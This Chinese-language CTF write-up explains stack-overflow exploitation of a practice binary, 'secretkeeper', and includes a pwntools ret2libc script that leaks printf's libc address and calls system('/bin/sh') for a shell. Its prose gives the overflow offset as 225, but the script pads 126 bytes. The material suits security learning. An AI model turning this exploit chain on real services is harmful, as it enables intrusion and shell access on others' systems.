栈溢出利用小结

栈溢出利用小结

栈溢出是最简单的漏洞了，主要是通过学习栈溢出，学习其绕过保护机制的利用。

 

这里先用一道典型的题secretkeeper来进入。利用方式就是典型的地址泄露+ret2libc。

 其漏洞的位置在修改secret的时候出现的：

 现在我们来测一下。输入选择4，然后300个A，程序出现问题。

现在找到漏洞了，就太好了，接下来就是计算溢出点了。

 

溢出点在偏移225处，验证一下，输入225 * "A"+"BBBB".

 

果然程序的EIP到了我们的BBBB上面了，说明偏移正确。下面就是如何来绕过NX了。绕过方式就是ret2libc。

from pwn import *
debug  = 1
local = 1
if local:
    io = process('./secretkeeper')
else:
    io = remote("127.0.0.0",8080)

context.log_level = 'debug'

if debug:
    gdb.attach(io)
    #gdb.attach(pidof('secretkeeper')[-1])

#-------------------------------------------------------#

def create():
    io.recvuntil('Please input your option:')
    io.sendline('1')
    io.recvuntil('Enter secret name:')
    io.sendline('name')
    io.recvuntil('Enter your password:')
    io.sendline('pass')
    io.recvuntil("Enter the secret level (The bigger the more important):")
    io.sendline('10')
    io.recvuntil('Enter your secret:')
    io.sendline('AAAA')

def edit(payload):
    io.recvuntil('Please input your option:')
    io.sendline('4')
    io.recvuntil('Enter the name of the secret to EDIT:')
    io.sendline('name')
    io.recvuntil('Enter your password:')
    io.sendline('pass')
    io.recvuntil('Enter the new level:')
    io.sendline('2')
    io.recvuntil('Enter your secret:')
    io.sendline('2')
    io.recvuntil('y/n')
    io.sendline(payload)

#----------------------------------------------------------#

print_plt = 0x080484A0
main = 0x08048A8F
print_got = 0x0804B00C

payload = 'A'*126
payload += p32(print_plt) + p32(main) +p32(print_got)

create()
edit(payload)

io.recvuntil('Your changes have been recorded!')
io.recvline()
print_got_addr = u32(io.recv(4))
print 'print_got_addr=' ,hex(print_got_addr)

libc =ELF('/lib/i386-linux-gnu/libc.so.6')
libc_addr = print_got_addr - libc.symbols['printf']

system_got = libc_addr + libc.symbols['system']
print 'system_got=' ,hex(system_got)

ssh_addr = libc_addr + next(libc.search('/bin/sh'))
print 'ssh_addr=' ,hex(ssh_addr)

payload1 = 'A'*126
payload1 += p32(system_got) + p32(main) +p32(ssh_addr)

create()
edit(payload1)
#gdb.attach(p,open( 'aa'))


io.interactive()

 参考文档：

　　ret2libc：http://blog.csdn.net/linyt/article/details/43643499

　　　　　　http://blog.csdn.net/guilanl/article/details/61921481